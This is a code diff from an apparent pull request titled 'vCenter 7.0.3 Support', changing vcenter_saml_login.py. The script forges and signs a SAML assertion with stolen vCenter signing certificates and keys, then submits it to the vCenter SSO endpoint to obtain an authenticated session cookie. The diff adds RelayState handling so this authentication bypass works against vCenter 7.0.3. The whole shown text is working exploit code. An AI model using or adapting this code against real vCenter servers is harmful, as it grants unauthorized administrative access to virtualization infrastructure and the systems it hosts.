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vCenter 7.0.3 Support #13

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vCenter 7.0.3 Support #13

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19 changes: 13 additions & 6 deletions vcenter_saml_login.py
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Original file line number Diff line number Diff line change
Expand Up @@ -243,7 +243,7 @@ def saml_request(vcenter):
sr = parse_qs(o.query)["SAMLRequest"][0]
dec = base64.decodebytes(sr.encode("utf-8"))
req = zlib.decompress(dec, -8)
return etree.fromstring(req)
return etree.fromstring(req), parse_qs(o.query)["RelayState"][0]
except:
print(f'[-] Failed initiating SAML request with {vcenter}')
raise
Expand Down Expand Up @@ -285,16 +285,22 @@ def sign_assertion(root, cert1, cert2, key):
raise


def login(vcenter, saml_resp):
def login(vcenter, saml_resp, relaystate):
"""Log in to the vCenter web UI using the signed response and return a session cookie"""
try:
print('[*] Attempting to log into vCenter with the signed SAML request')
resp = etree.tostring(s, xml_declaration=True, encoding="UTF-8", pretty_print=False)
resp = etree.tostring(saml_resp, xml_declaration=True, encoding="UTF-8", pretty_print=False)

if relaystate == None:
data = {"SAMLResponse": base64.encodebytes(resp)}
else:
data = {"SAMLResponse": base64.encodebytes(resp), "RelayState":relaystate}

r = requests.post(
f"https://{vcenter}/ui/saml/websso/sso",
allow_redirects=False,
verify=False,
data={"SAMLResponse": base64.encodebytes(resp)},
data=data,
)
if r.status_code != 302:
raise Exception("expected 302 redirect")
Expand Down Expand Up @@ -344,7 +350,8 @@ def get_hostname(vcenter):

# Generate SAML request
hostname = get_hostname(args.target)
req = saml_request(args.target)

req, relaystate = saml_request(args.target)
t = fill_template(hostname, args.target, domain,req)
s = sign_assertion(t, trusted_cert_1, trusted_cert_2, idp_cert)
c = login(args.target, s)
c = login(args.target, s, relaystate)